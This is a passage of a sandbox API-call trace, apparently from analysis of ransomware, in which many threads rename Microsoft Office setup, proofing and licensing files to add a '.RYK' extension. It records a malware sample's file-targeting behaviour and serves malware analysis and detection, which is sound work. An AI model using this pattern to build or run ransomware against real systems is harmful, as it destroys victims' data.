	[0134.394] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 271
	os_tid = 0xd2c

	[0134.849] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", dwFileAttributes=0x80) returned 0
	[0155.348] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0155.349] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0155.349] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 272
	os_tid = 0xd30


Thread:
	id = 324
	os_tid = 0xdec

	[0157.556] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", dwFileAttributes=0x80) returned 0
	[0157.556] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.557] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.557] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 325
	os_tid = 0xdf0

	[0157.559] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", dwFileAttributes=0x80) returned 0
	[0157.559] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.559] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.560] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 326
	os_tid = 0xdf4

	[0157.561] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", dwFileAttributes=0x80) returned 0
	[0157.561] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.561] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.562] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 327
	os_tid = 0xdf8

	[0157.563] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", dwFileAttributes=0x80) returned 0
	[0157.566] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.567] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.567] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 328
	os_tid = 0xdfc

	[0157.564] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", dwFileAttributes=0x80) returned 0
	[0157.565] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.565] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.565] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 329
	os_tid = 0xe00

	[0157.568] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", dwFileAttributes=0x80) returned 0
	[0157.571] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.571] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.571] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 330
	os_tid = 0xe04

	[0157.570] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", dwFileAttributes=0x80) returned 0
	[0157.574] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.574] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.575] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 331
	os_tid = 0xe08

	[0157.573] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", dwFileAttributes=0x80) returned 0
	[0157.579] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.579] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.579] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 332
	os_tid = 0xe0c

	[0157.576] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", dwFileAttributes=0x80) returned 0
	[0157.576] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.576] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.577] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 333
	os_tid = 0xe10

	[0157.581] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", dwFileAttributes=0x80) returned 0
	[0157.581] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.581] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.581] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 334
	os_tid = 0xe14

	[0157.583] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", dwFileAttributes=0x80) returned 0
	[0157.587] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.588] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.588] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 336
	os_tid = 0xe1c

	[0157.723] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", dwFileAttributes=0x80) returned 0
	[0158.305] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0158.305] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0158.305] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 337
	os_tid = 0xe20

	[0157.725] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", dwFileAttributes=0x80) returned 0
	[0158.340] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0158.340] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0158.340] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 338
	os_tid = 0xe24

	[0157.726] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", dwFileAttributes=0x80) returned 0
	[0158.342] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0158.342] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0158.342] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 339
	os_tid = 0xe28

	[0157.728] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", dwFileAttributes=0x80) returned 0
	[0157.728] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.728] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.729] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 340
	os_tid = 0xe2c

	[0157.730] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", dwFileAttributes=0x80) returned 0
	[0158.344] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0158.344] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0158.344] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 341
	os_tid = 0xe30

	[0157.732] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", dwFileAttributes=0x80) returned 0
	[0157.732] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.732] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.733] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 344
	os_tid = 0xe3c

	[0158.295] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", dwFileAttributes=0x80) returned 0
	[0158.348] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0158.348] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0158.348] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 345
	os_tid = 0xe40

	[0158.296] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", dwFileAttributes=0x80) returned 0
	[0158.357] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.mof"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0158.368] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0158.368] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.mof"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.mof.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 346
	os_tid = 0xe44

	[0158.297] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", dwFileAttributes=0x80) returned 0
	[0158.416] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_en.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0158.416] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0158.417] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_en.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_en.lex.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 347
	os_tid = 0xe48

	[0158.298] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", dwFileAttributes=0x80) returned 0
	[0158.299] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0158.299] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0158.299] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex.ryk"), dwFlags=0x8) returned 0

Thread:
